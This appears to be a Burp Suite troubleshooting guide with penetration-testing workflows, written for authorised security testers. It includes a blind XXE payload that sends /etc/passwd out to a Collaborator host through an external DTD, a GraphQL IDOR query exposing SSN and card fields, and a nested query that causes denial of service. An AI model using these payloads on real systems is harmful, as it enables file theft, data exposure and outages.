Burp Suite Intermediate Troubleshooting Guide

Common Burp Suite Intermediate errors with root cause analysis and verified fixes

Ruby configuration missing

Symptom

Extension fails with 'No module named' or 'LoadError'

Root Cause

Python/Ruby extensions need Jython/JRuby standalone JAR configured

Fix

Extensions > Options > Python Environment > Download Jython standalone JAR from jython.org/downloads. Select JAR file. Restart Burp. For Ruby: Download JRuby JAR similarly

Verification

✓✅ Extension loads, new tab appears in Burp interface

Macro parameter extraction returns empty value

Symptom

Session rule test shows extracted parameter as blank

Root Cause

Regex pattern doesn't match response format or wrong location specified

Fix

Macro editor > Test macro > View actual response. Adjust regex pattern. Common patterns: JSON: "token":"([^"]+)", Cookie: token=([^;\s]+), HTML: value="([^"]+)"

Verification

✓✅ Test macro shows correct extracted value in preview

Collaborator client shows no interactions despite payload injection

Symptom

Poll now returns empty, no DNS/HTTP callbacks

Root Cause

Target blocking outbound connections, firewall, or payload not triggered

Fix

Verify payload actually executed (check server logs if possible). Test with simple HTTP request first: curl http://payload.burpcollaborator.net. If blocked, use DNS-only payloads or private Collaborator

Verification

✓✅ Test interaction received, then retry actual exploit

Session handling rule not triggering for Scanner

Symptom

Scanner gets 401/403 errors, macro not running

Root Cause

Rule scope excludes Scanner tool or URL out of scope

Fix

Session rule > Scope tab > Tools scope: Check 'Scanner'. URL scope: Verify includes target domain. Test: Run single scan, check macro executes in Logger++

Verification

✓✅ Scanner requests show updated tokens from macro

GraphQL panel not appearing in Repeater

Symptom

Sent GraphQL request to Repeater, no GraphQL tab

Root Cause

Request not detected as GraphQL (wrong Content-Type or missing query field)

Fix

Ensure: Content-Type: application/json, Body contains: {"query":"..."}. Right-click > Extensions > GraphQL Raider if Burp doesn't auto-detect

Verification

✓✅ GraphQL panel appears with query editor

Turbo Intruder script errors: 'engine not defined'

Symptom

Python script fails to run in Turbo Intruder

Root Cause

Using wrong script template or syntax error

Fix

Turbo Intruder > Use built-in template: examples/race.py. Ensure queueRequests function defined. Engine is auto-injected, don't import

Verification

✓✅ Script executes, requests sent

Logger++ consuming excessive memory (8GB+)

Symptom

Burp becomes slow, eventually crashes with OutOfMemoryError

Root Cause

Logger++ storing all responses including large files

Fix

Logger++ > Filter: Exclude MIME types (image, video, font). Set max response size: 100KB. Periodically export and clear logs. Increase JVM heap: -Xmx8g

Verification

✓✅ Memory usage stabilizes below 2GB

Autorize shows all requests as green (no bypass)

Symptom

Authorization testing finds no vulnerabilities (suspicious)

Root Cause

Low-privilege token not configured or same as high-privilege

Fix

Autorize > Configuration: Verify low-priv token is different user. Test: Manually send known admin endpoint with low-priv token, should get 403

Verification

✓✅ Known admin endpoint shows red (bypass) in Autorize

Private Collaborator server not receiving interactions

Symptom

Payloads generated but polling shows no results

Root Cause

DNS not configured, server not reachable, or polling URL wrong

Fix

Verify: nslookup test.your-collaborator.com resolves. Check server logs for incoming DNS/HTTP. Settings: Polling location must match server location

Verification

✓✅ Test interaction appears in poll results

Custom scan configuration not reducing scan time

Symptom

Optimized config still takes 8 hours like default

Root Cause

Crawl settings not limited or audit checks still comprehensive

Fix

Scan config > Crawl: Set max link depth: 3, max pages: 500. Audit: Disable slow checks (time-based SQLi, SSRF). Test on small scope first

Verification

✓✅ Test scan completes in expected reduced time

Match and Replace breaking all requests

Symptom

All requests fail after enabling Match and Replace rule

Root Cause

Regex too broad, replacing critical headers/values

Fix

Disable rule immediately. Review regex: Test at regex101.com with sample request. Make specific: Match exact header name. Enable cautiously

Verification

✓✅ Requests succeed, only intended modifications applied

Platform authentication keeps prompting for credentials

Symptom

NTLM/Kerberos popup appears despite configuration

Root Cause

Wrong auth type, incorrect domain format, or hostname mismatch

Fix

Try all auth types: NTLMv2, NTLMv1, Negotiate. Username: DOMAIN\user (backslash). Destination: Exact hostname from request. Check caps lock

Verification

✓✅ No authentication popup, application loads

WebSocket messages not appearing in history

Symptom

WebSocket connection established but no messages visible

Root Cause

WebSocket history filter active or messages very frequent

Fix

Proxy > WebSockets history > Filter: Clear all filters. Check connection status. For high-frequency: Pause display, then review

Verification

✓✅ Messages appear in WebSocket history tab

Extension API passive scan not finding issues

Symptom

Custom IScannerCheck returns issues but not in Dashboard

Root Cause

Return type incorrect or issue severity not recognized

Fix

Ensure doPassiveScan returns: List<IScanIssue> or None. Issue severity: 'High', 'Medium', 'Low', 'Information'. Check extension errors tab

Verification

✓✅ Custom issues appear in Dashboard > Issue activity

Scan throttling not preventing rate limiting

Symptom

Scanner still triggers 429 Too Many Requests despite throttling

Root Cause

Throttle settings too aggressive or app has very low limit

Fix

Increase delay: 2000-5000ms between requests. Reduce concurrent requests: 1-2. Consider: Manual testing instead of scanner for strict rate limits

Verification

✓✅ No 429 errors in scan results

Debug→Fix: Blind Vulnerability Detection with Collaborator

Step 1Test target identified

Identify potential blind vulnerability

# Target: File upload feature
# Hypothesis: Blind XXE in XML metadata parsing
# No error messages, standard success response
# Need out-of-band confirmation

✅ Upload feature located

Step 2OAST payload ready

Generate Collaborator payload

# Burp menu > Burp Collaborator client
# Click: Copy to clipboard
# Payload: h8f3j2k1.burpcollaborator.net
# Note: Unique subdomain for this test

✅ Payload copied

Step 3Payload injected, standard response

Inject XXE payload with Collaborator

# Create malicious.xml:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://h8f3j2k1.burpcollaborator.net/xxe">]>
<metadata>&xxe;</metadata>
# Upload file
# Response: 200 OK File processed (no indication of XXE)

✅ Upload successful

Step 4Out-of-band interaction confirmed

Poll Collaborator for interactions

# Collaborator client > Poll now
# Wait 30 seconds
# Results: HTTP GET /xxe from 203.0.113.15
# Details: Server IP, timestamp, user-agent
# Confirms: Server parsed XXE and made external request

✅ Blind XXE vulnerability validated

Step 5Sensitive file exfiltrated via OAST

Exploit for data exfiltration

# Advanced XXE for file read:
<!DOCTYPE foo [<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://h8f3j2k1.burpcollaborator.net/evil.dtd">]>
# evil.dtd on attacker server:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://h8f3j2k1.burpcollaborator.net/?data=%file;'>">
# Collaborator receives /etc/passwd contents in DNS/HTTP

✅ Critical blind XXE with data extraction confirmed

✓

✅ Blind XXE detected and exploited using out-of-band techniques

CI/CD: Automated API Security Testing with Custom Extensions

Step 1Custom extension developed

Create custom extension for API-specific checks

# Write Python extension:
# - Detects missing rate limiting
# - Checks for mass assignment vulnerabilities
# - Validates JWT signature verification
# - Tests for BOLA/IDOR in API endpoints
# Save as api-security-checks.py

✅ Code tested locally

Step 2Burp starts with custom extension

Load extension in CI/CD Burp instance

# CI script:
java -Xmx4g -jar burpsuite_pro.jar \
  --project-file=api-test.burp \
  --extension-python=api-security-checks.py \
  --config-file=api-scan-config.json

✅ Extension loaded in headless mode

Step 3Scan initiated

Execute automated API scan via REST API

# Trigger scan:
curl -X POST http://localhost:1337/v0.1/scan \
  -H 'Authorization: ApiKey xyz' \
  -d '{"urls":["https://api.staging.com"],"scan_config":"api-only"}'
# Response: {"scan_id":"42"}

✅ Scan ID returned

Step 4Scan complete, results exported

Monitor scan and collect results

# Poll scan status:
while [ $(curl http://localhost:1337/v0.1/scan/42 | jq -r '.scan_status') != "succeeded" ]; do
  sleep 60
done
# Export results:
curl http://localhost:1337/v0.1/scan/42/report?format=json > results.json

✅ JSON report with findings

Step 5Build failed: 3 critical API vulnerabilities

Parse results and fail build on critical findings

# Python parser:
import json
with open('results.json') as f:
    findings = json.load(f)['issues']
critical = [i for i in findings if i['severity'] == 'high']
if len(critical) > 0:
    print(f'FAIL: {len(critical)} critical issues')
    exit(1)  # Fail CI build

✅ CI pipeline blocks deployment

✅ Automated API security testing integrated in CI/CD

Monitoring: GraphQL Security Assessment Workflow

Step 1GraphQL endpoint identified

Discover GraphQL endpoint

# Browse application, look for:
# - /graphql, /api/graphql, /v1/graphql
# - POST requests with Content-Type: application/json
# - Request body: {"query":"...","variables":{}}
# Found: POST /api/graphql

✅ Endpoint captured in HTTP history

Step 2Schema discovered via introspection

Attempt introspection query

# Send to Repeater
# GraphQL panel > Right-click > Set introspection query
# Send request
# Response: Full schema with 87 types, 340 fields
# Alternative if disabled: Install InQL extension

✅ All queries and mutations visible

Step 3IDOR and excessive data exposure found

Test for unauthorized data access

# Identify sensitive fields: User.ssn, User.creditCard
# Normal query: { user(id:1) { name } }
# Malicious query: { user(id:1) { name ssn creditCard } }
# Test with different user IDs (IDOR)
# Result: All users' sensitive data accessible

✅ Unauthorized access to PII confirmed

Step 4GraphQL DoS vulnerability confirmed

Test query complexity for DoS

# Nested query attack:
query {
  users {
    posts {
      comments {
        author {
          posts {
            comments { text }
          }
        }
      }
    }
  }
}
# Response: 503 Service Unavailable (timeout after 30s)
# No query complexity limit

✅ Server overloaded with complex query

Step 5Comprehensive GraphQL security report

Document GraphQL vulnerabilities

# Findings:
# 1. Introspection enabled (info disclosure)
# 2. No field-level authorization (IDOR)
# 3. No query complexity limit (DoS)
# 4. Sensitive fields exposed (PII leakage)
# Remediation: Disable introspection, implement authz, add complexity limits
# Report with evidence from Burp

✅ 4 GraphQL vulnerabilities documented

Security: Macro-Based Session Management for Complex Auth

Step 1Complex auth flow documented

Analyze multi-step authentication flow

# App requires:
# 1. GET /login → Extract nonce
# 2. POST /auth with nonce → Get temp_token
# 3. POST /verify with temp_token → Get session_id
# Each step required before API access
# Manual testing: 3 steps per request (infeasible)

✅ 3-step flow identified

Step 23 macros created with parameter extraction

Create multi-macro sequence

# Macro 1: GET /login
# Extract: nonce from {"nonce":"abc123"}
# Macro 2: POST /auth with nonce
# Extract: temp_token from response
# Macro 3: POST /verify with temp_token
# Extract: session_id from Set-Cookie

✅ Each macro tested successfully

Step 3Session rule with macro chain configured

Chain macros in session handling rule

# Session rule > Rule actions:
# 1. Run a macro: Macro 1 (get nonce)
# 2. Run a macro: Macro 2 (get temp_token)
# 3. Run a macro: Macro 3 (get session_id)
# 4. Update current request with session_id cookie
# Scope: Repeater, Intruder, Scanner, Target: https://api.example.com/*

✅ Rule applies to all tools

Step 4Authentication fully automated

Test automated authentication

# Repeater: Send API request (no manual auth)
# Session rule executes:
# - Macro 1: nonce = xyz789
# - Macro 2: temp_token = tmp_abc
# - Macro 3: session_id = sess_123456
# Request includes: Cookie: session_id=sess_123456
# Response: 200 OK (authenticated)

✅ API access without manual token management

Step 5Complete scan of authenticated API

Run Scanner with automated auth

# Dashboard > New scan > URL: https://api.example.com
# Scan configuration: API-focused
# Session rule handles auth for every request
# Scanner completes 8-hour scan with zero auth failures
# Vulnerabilities: 12 found, all in authenticated context

✅ Zero authentication errors, full coverage

✓

✅ Complex multi-step authentication fully automated
